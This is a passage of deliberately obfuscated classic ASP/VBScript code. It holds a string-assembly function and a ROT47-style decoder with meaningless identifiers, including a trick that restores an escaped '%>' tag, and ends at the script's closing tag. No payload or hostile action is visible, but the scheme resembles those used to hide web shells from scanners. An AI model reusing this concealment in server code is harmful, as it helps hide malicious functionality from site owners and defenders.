If Len(NNNNNNZ) = 1 Then NNNNNNZ = "0" & NNNNNNZ
NNNNZN = NNNNZNZ & NNNNNZ(ChrW(92)) & NNNNZNN & NNNNNZ(ChrW(92)) & NNNNNZZ & NNNNNZ(ChrW(32) & ChrW(44)) & NNNNNZN & NNNNNZ(ChrW(105)) & NZNZZZZ & NNNNNZ(ChrW(105)) & NNNNNNZ
End Function
Function NNNNNZ(ByVal NZZZZNZN)
Dim NNNNNNN, NZNZZZZ, NZZZZZZZ
NZZZZNZN = Replace(NZZZZNZN, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NZNZZZZ = 1 To Len(NZZZZNZN)
If NZNZZZZ <> NZZZZZZZ Then
NNNNNNN = AscW(Mid(NZZZZNZN, NZNZZZZ, 1))
If NNNNNNN >= 33 And NNNNNNN <= 79 Then
NNNNNZ = NNNNNZ & Chr(NNNNNNN + 47)
ElseIf NNNNNNN >= 80 And NNNNNNN <= 126 Then
NNNNNZ = NNNNNZ & Chr(NNNNNNN - 47)
Else
NZZZZZZZ = NZNZZZZ + 1
If Mid(NZZZZNZN, NZZZZZZZ, 1) = Chr(64) Then NNNNNZ = NNNNNZ & ChrW(NNNNNNN + 5) Else NNNNNZ = NNNNNZ & Mid(NZZZZNZN, NZNZZZZ, 1)
End If
End If
Next
End Function
%>